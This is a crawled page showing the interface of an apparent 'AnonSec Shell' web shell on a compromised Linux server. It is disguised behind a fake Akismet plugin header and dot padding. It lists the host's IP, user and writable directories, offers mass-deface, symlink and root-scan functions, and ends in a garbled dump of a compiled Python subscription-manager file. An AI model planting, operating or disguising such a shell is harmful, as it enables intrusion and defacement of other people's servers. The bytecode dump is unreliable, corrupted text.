#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python2.7/site-packages/subscription_manager/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib64/python2.7/site-packages/subscription_manager/productid.pyc
�
L��ec@`sddlmZmZmZddlmZddlZddlZddlZddl	Z	ddl
mZddlm
Z
mZddlmZmZddlmZddlmZddljZdd	lmZeje�Zd
e
fd��YZdejfd
��YZde fd��YZ!de fd��YZ"de fd��YZ#de"fd��YZ$de"fd��YZ%de fd��YZ&de fd��YZ'edkrddl(m)Z)e)�ej*ddd ej+�ej,d!�e'�Z-e-j.d"e/g��ndS(#i(tprint_functiontdivisiontabsolute_import(tGzipFileN(tcreate_from_pem(t	DirectorytDEFAULT_PRODUCT_CERT_DIR(tPLUGIN_MANAGERtrequire(tutils(trepolib(tourjsontDatabaseDirectorycB`seZdZd�ZRS(svar/lib/rhsmcC`s'tt|�j|j�|j�dS(N(tsuperRt__init__tPATHtcreate(tself((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyR,s(t__name__t
__module__RR(((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyR(stProductIdRepoMapcB`seZd�ZRS(cO`s
t|_dS(N(tlisttdefault_factory(Rtargstkwargs((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyR3s(RRR(((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyR1stProductDatabasecB`sYeZd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
RS(	cC`s&t�|_t�|_|j�dS(N(RtdirRtcontentR(R((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyR9scC`s|j|j|�dS(N(Rtappend(Rtproducttrepo((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pytadd>scC`s&y|j|=Wntk
r!nXdS(N(Rt	Exception(RR((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pytdeleteBs
cC`s|jj|d�S(N(RtgettNone(RR((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyt
find_reposHscC`s)tjj|j��s%|j�ndS(N(tostpathtexistst_ProductDatabase__fntwrite(R((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyRKscC`sTt|j��}y tj|�}|j|�Wntk
rEnX|j�dS(N(topenR(tjsontloadtpopulate_contentR tclose(Rtftd((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pytreadOs
cC`s]xVt|j��D]B\}}t|tj�rH|j|j|�q||j|<qWdS(s�Populate map with info from a productid -> [repoids] map.

        Note this needs to support the old form of
        a {"productid": "repoid"} as well as the
        new form of {"productid: ["repoid1",...]}N(Rtitemst
isinstancetsixtstring_typesRR(Rtdb_dictt	productidt	repo_data((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyR-YscC`s]t|j�d�}y&tj|j|dddtj�Wntk
rNnX|j�dS(Ntwtindentitdefault(R*R(R+tdumpRtencodeR R.(RR/((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyR)es&
cC`s|jjd�S(Nsproductid.js(Rtabspath(R((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyt__fnms(RRRRR!R$RR1R-R)R((((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyR7s						
		tComparableMixincB`sMeZdZd�Zd�Zd�Zd�Zd�Zd�Zd�Z	RS(s%Needs compare_keys to be implemented.cC`s|r||d|d�StS(Nii(tNotImplemented(Rtkeystmethod((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyt_comparesscC`s|j|j|�d��S(NcS`s
||kS(N((tsto((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyt<lambda>ws(RDtcompare_keys(Rtother((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyt__eq__vscC`s|j|j|�d��S(NcS`s
||kS(N((RERF((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyRGzs(RDRH(RRI((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyt__ne__yscC`s|j|j|�d��S(NcS`s
||kS(N((RERF((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyRG}s(RDRH(RRI((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyt__lt__|scC`s|j|j|�d��S(NcS`s
||kS(N((RERF((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyRG�s(RDRH(RRI((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyt__gt__scC`s|j|j|�d��S(NcS`s
||kS(N((RERF((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyRG�s(RDRH(RRI((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyt__le__�scC`s|j|j|�d��S(NcS`s
||kS(N((RERF((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyRG�s(RDRH(RRI((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyt__ge__�s(
RRt__doc__RDRJRKRLRMRNRO(((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyR@qs						t
RpmVersioncB`sweZdZddgZdddd�Zed��Zed��Zd�Zd	�Z	d
�Z
d�Zd�ZRS(
s$Represent the epoch, version, release of a rpm style version.

    This includes the rich comparison methods to support >,<,==,!-
    using rpm's labelCompare.

    See http://fedoraproject.org/wiki/Archive:Tools/RPM/VersionComparison
    for more details of the actual comparison rules.
    talphatbetat0t1cC`s||_||_||_dS(N(tepochtversiontrelease(RRVRWRX((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyR�s		cC`s|j|j|jfS(N(RVRWRX(R((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pytevr�sc`s+�fd�}�j|�j��jfS(Nc`sKxD�jD]9}|r
|j�j|�r
|t|� jd�Sq
W|S(Ns- (tsuffixestlowertendswithtlentstrip(REtsuff(R(sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pytno_suff�s(RVRWRX(RR`((RsD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyt
evr_nosuff�sc`su�fd�}tj�j|j�}tj�j|j�}||krq|�j�||j�krmdSdS|S(Nc`sFx6t�j�D]%\}}|j�j|�r|SqWt�j�S(N(t	enumerateRZR[R\R](REtidxR_(R(sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pytends_with_which�si����i(trpmtlabelCompareRYRaRW(RRIRdtraw_comparetnon_beta_compare((RsD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pytcompare�scC`s#|j|�}|dkrtStS(Ni����(RitTruetFalse(RRItlc((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyRL�scC`s#|j|�}|dkrtStS(Ni(RiRkRj(RRIRl((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyRN�scC`s#|j|�}|dkrtStS(Ni(RiRjRk(RRIRl((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyRJ�scC`s#|j|�}|dkrtStS(Ni(RiRjRk(RRIRl((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyRK�s(
RRRPRZRtpropertyRYRaRiRLRNRJRK(((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyRQ�s					tComparableProductcB`s)eZdZd�Zd�Zd�ZRS(saA comparable version from a Product. For comparing and sorting Product objects.

    Products are never equals if they do not have the same product id.
    lt and gt for different products are also always false.

    NOTE: This object doesn't make sense to compare Products with different
    Product ID. The results are kind of nonsense for that case.

    This could be extended to compare, either with a more complicated
    version compare, or using other attributes.

    Awesomeos-1.1 > Awesomeos-1.0
    Awesomeos-1.1 != Awesomeos-1.0
    Awesomeos-1.0 < Awesomeos-1.0

    The algorithm used for comparisions is the rpm version compare, as used
    by rpm, yum, etc. Also known as "rpmvercmp" or "labelCompare".

    There aren't any standard product version comparison rules, but the
    rpm rules are pretty flexible, documented, and well understood.
    cC`s
||_dS(N(R(RR((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyR�scC`sD|jj|jjkr@td|jj�td|jj�fSdS(s=Create a a tuple of RpmVersion objects.

        Create a RpmVersion using the product's version attribute
        as the 'version' attribute for a rpm label tuple. We let the
        epoch default to 0, and the release to 1 for each, so we are
        only comparing the difference in the version attribute.
        RWN(RtidRQRWR#(RRI((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyRH�scC`s)d|jj|jj|jj|jfS(Ns7<ComparableProduct id=%s version=%s name=%s product=%s>(RRoRWtname(R((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyt__str__�s(RRRPRRHRq(((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyRn�s		
tComparableProductCertcB`s eZdZd�Zd�ZRS(s�Compareable version of ProductCert.

    Used to determine the "newer" of two ProductCerts. Initially just based
    on a comparison of a ComparableProduct built from the Product, which compares
    using the Product.version field.cC`s2||_|jjd|_t|j�|_dS(Ni(tproduct_certtproductsRRntcomp_product(RRs((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyRs	cC`s|jj|j�S(N(RuRH(RRI((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyRH
s(RRRPRRH(((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyRr�s	t	ProductIdcB`s#eZd�Zd�Zd�ZRS(cC`s
||_dS(N(Rs(RRs((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyRscC`sdS(sLWrite out the product cert and run anything
        to trigger based on thatN((R((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pytinstallscC`sdS(sRDelete product cert from the filesystem.

        Subclasses should override this.N((R((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pytremoves(RRRRwRx(((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyRvs		tProductManagercB`s�eZdZdZddd�Zd�Zd�Zd�Zd�Z	d�Z
d�Zd	�Zd
�Z
d�Zd�Zd
�Zd�Zdd�Zd�ZRS(s�Manager product certs, detecting when they need to be installed, or deleted.

    Note that this class has no knowledge of when it runs, and no nothing of the
    rpm transaction that may have causes it to run. So it only looks at the state
    of installed packages, yum repo states, installed product certs, and the
    product id->repo id mapping db productid.js.

    It finds yum repo's which are enabled.
    It finds repo's which are active. "active" in this case means one or more
      installed packages were installed from that repo. It does this my checking
      the 'repoid' field yum reports for each installed package.

    It removes certs that are no longer needed. If no packages are installed from
      a product (and more specifically, the repo's created from that product), it
      is considered unneeded and removed.

    Args:
        product_dir: a ProductDirectory class (optional)
        product_db: A ProductDatabase class (optional)
    R7cC`sn||_|s'tjtj�|_n||_|sEt�|_n|jj�g|_tt�|_	dS(N(
tpdirtinjRtPROD_DIRtdbRR1tmeta_data_errorsRtplugin_manager(Rtproduct_dirt
product_db((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyR:s		
	cC`sttj�}|j�g}xQ|j�D]C}|j|�}tj|jdd��s)|j|j	�q)q)W|S(s"Find repos disabled in redhat.repotenabledRT(
R
tYumRepoFileR1tsectionstsectionR	t
is_true_valueR"RRo(Rt	repo_filetdisabled_in_redhat_repoR�R((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pytfind_disabled_reposIs
c
C`s�g|D]}|d^q}tj�}|j�g}xQ|j�D]C}|j|�}tj|jdd��rF|j|j	�qFqFWg}x*|D]"}	|	|kr�|j|	�q�q�W|S(s<Find repo from redhat.repo that have been disabled from cli.iR�RT(
R
R�R1R�R�R	R�R"RRo(
RR�txtyum_enabledR�tenabled_in_redhat_repoR�Rt
temp_disabledtenabled_repo((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pytfind_temp_disabled_reposWs

cC`sQ|j|�}|r=|r=|s'|r=|j||�q=n|j||�dS(N(R�tupdate_removedtupdate_installed(RR�tactivettracks_reposttemp_disabled_repos((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pytupdatens
cC`s9|jdkr5d|jkr5|jddkr5tStS(Ns$Red Hat Enterprise Linux Workstationsrhel-5-client-workstationit5(Rpt
provided_tagsRWRjRk(RRs((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyt_is_workstation�s
cC`s9|jdkr5d|jkr5|jddkr5tStS(Ns Red Hat Enterprise Linux Desktops
rhel-5-clientiR�(RpR�RWRjRk(RRs((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyt_is_desktop�s
cC`s2tjd�g}g}g}tjd|�tjd|�g}x,|D]$\}}tjd|jdj|f�||kr�qLn|jd}	|	j}
|j|	�r8x�|jj�D]q}|j|jd�r�tjd|j	�|j
�|jj�|jj
|jdj�|jj
�q�q�Wn|j|	�ri|j�ritjd�qLqin|jj|
�s�|j|	|f�n�|jj|
�}|jd}
t|�}t|�}||krtjd|
j|
j|	j|	jf�|j|	|f�ntjd	|	j|	jf�|jj|
�}|dksZ||krL|j|	|f�qLqLW|j|�}|j|�}|j|�}t}xJ|D]B\}}tjd
|j|f�|jj|j|�t}q�W|r
|jj
�n|j|�}|j|�}||fS(sInstall product certs for products with enabled and active repos

        If we find a new product cert, we install it to /etc/pki/product
        and update the productid database to show what repo it came from.

        If we already have the product cert, but it now maps to a new or
        different repo, then update productid database with that info.

        It is possible for a single product cert to map to multiple repos.
        If multiple repo's all have the same product cert id metadata, we
        can get into this scenario. The anaconda install is an example of
        this, since the 'anaconda' repo the installer uses has the product
        cert metadata, but so does the corresponding rhel repo we get
        from autosubscribing. In those cases, we track both.

        Args:
            enabled: list of tuples of (product_cert, repo_id)
                     The repo's that are enabled=1 and have product
                     id metadata
            active: a set of names of repos that installed packages were
                    installed from.

        Returns:
             list of product certs that were installed

        Side Effects:
            can delete certs for some odd rhel5 scenarios, where we
            have to obsolete some deprecated certs
        s3Checking for product id certs to install or update.s	active %ss
enabled %ssproduct cert: %s repo: %sis"removing obsolete desktop cert: %ssskipping obsolete desktop certs2Updating installed product cert for %s %s to %s %ssKLatest version of product cert for %s %s is already installed, not updatings!Updating product db with %s -> %sN(tlogtdebugRtRoR�RzRR�tinfoR&R!trefreshR}R)t_workstation_cert_existstfind_by_productRRrRpRWR$R#t_desktop_workstation_cleanupRkRRjtinstall_product_certstupdate_product_certs(RR�R�tproducts_to_installtproducts_to_update_dbtproducts_installedtproducts_to_updatetcertRtpt	prod_hashtpctinstalled_product_certtinstalled_producttcmp_product_certtcmp_installed_product_certtknown_repost
db_updatedRtproducts_updated((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyR��sl
!
	


		
			
cC`sL|jjdd|�|j|�}tjd�|jjdd|�|S(Ntpre_product_id_installtproduct_lists$about to run post_product_id_installtpost_product_id_install(Rtruntwrite_product_certsR�R�(Rt
product_certsR�((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyR�,s

cC`sL|jjdd|�|j|�}tjd�|jjdd|�|S(Ntpre_product_id_updateR�s#about to run post_product_id_updatetpost_product_id_update(RR�R�R�R�(RR�R�((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyR�?s

cC`s�g}x}|D]u\}}d|j}|jj|�}|j|�|jj�tjd|j|j|jf�|j	|�q
W|S(Ns%s.pems Installed product cert %s: %s %s(
RoRzR>R)R�R�R�RpR&R(RR�R�RR�tfnR&((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyR�Js


#cC`s8x1|jj�D] }|j|jd�rtSqWtS(Ni(RzRR�RtRjRk(RR�((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyR�UscC`sR|j|�s|Stjd�g|D]'\}}|j|�s'||f^q'S(sPRemove desktop product if desktop and workstations are marked for install/updatesVWorkstation and Desktop product certs found, removing Desktop cert from list to update(t&_list_has_workstation_and_desktop_certR�R�R�(Rtproduct_cert_listRR�((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyR�[s
cC`s]t}t}xD|D]<\}}|j|�r7t}n|j|�rt}qqW|o\|S(s@determine if product cert list has desktop and workstation certs(RkR�RjR�(RR�thas_workstationthas_desktopRt
_product_cert((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyR�ds	
c	C`sa|p	g}g}tjd|�tjd|�|j�}x�|jj�D]z}|jd}|j}|jjt	�r�tjd|j�qOn|j
j|�}|dks�|gkr�tjd|j�qOnt
}	x�|D]�}
|
|jkrtjd|
|�t}	q�n|
|krS|
|krStjd|
|�t}	q�n|
|kr~tjd|
|�t}	q�n|
|kr�tjd	|
|�t}	q�q�q�W|	rO|j||f�qOqOWx�|D]�\}}tjd
|j|j
j|j��tjd|j|jf�|j�|jj�|j
j|j�|j
j�q�WdS(
s�remove product certs for inactive products

        For each installed product cert, check to see if we still have
        packages installed from the repo the product cert was installed
        from. If not, delete the product cert.

        With a few exceptions:
            1) if the productid db does not know about the product cert,
                do not delete it
            2) if the productid db doesn't know what repo that cert came
                from, do not delete it.
            3) If there were errors reading the repo metadata for any of
                the repos that provide that cert, do not delete it.
            4) If the product cert has providedtags for 'rhel*'

        Args:
            active: a set of repo name strings of the repos that installed
                    packages were installed from
        Side effects:
            deletes certs that need to be deleted
        s8Checking for product certs to remove. Active include: %ssTemporary disabled repos: %sis/Skipping prod. cert.: %s in protected directorys&Skipping prod. cert.: %s without reposs6%s has meta-data errors. Not deleting product cert %s.sS%s is disabled, but RPMs from this repo are installed. Not deleting product cert %ss2%s is an active repo. Not deleting product cert %ss<%s is disabled via yum cmdline. Not deleting product cert %ss'None of the repos for %s are active: %ss'product cert %s for %s is being deletedN(R�R�R�RzRRtRoR&t
startswithRR}R$R#RjR~RkR�twarningRR!R�R)(RR�R�tcerts_to_deletetdisabled_reposR�RR�trepostdelete_product_certR((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyR�rs\	
	
	

	

cC`s�|jd�rt|�}nt|�}zM|j�}t|�tkr]|jd�}nt|�}||_|SWd|j	�XdS(Ns.gzsutf-8(
R\RR*R1ttypetbytestdecodeRtpemR.(RtfilenameR/R�R�((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyt	_get_cert�s	N(RRRPt	PRODUCTIDR#RR�R�R�R�R�R�R�R�R�R�R�R�R�R�(((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyRy"s"						�							kt__main__(tinit_dep_injectionR�s/var/log/rhsm/rhsm.logtlevelsproductid smoke testingR�(0t
__future__RRRtgzipRtloggingR%R4Retrhsm.certificateRt"subscription_manager.certdirectoryRRtsubscription_manager.injectionRRtsubscription_managerR	R
t	injectionR{trhsmRR+t	getLoggerRR�RtDefaultDictRtobjectRR@RQRnRrRvRyt"subscription_manager.injectioninitR�tbasicConfigtDEBUGR�tpmR�tset(((sD/usr/lib64/python2.7/site-packages/subscription_manager/productid.pyt<module>s<	:H+��
	

Anon7 - 2022
AnonSec Team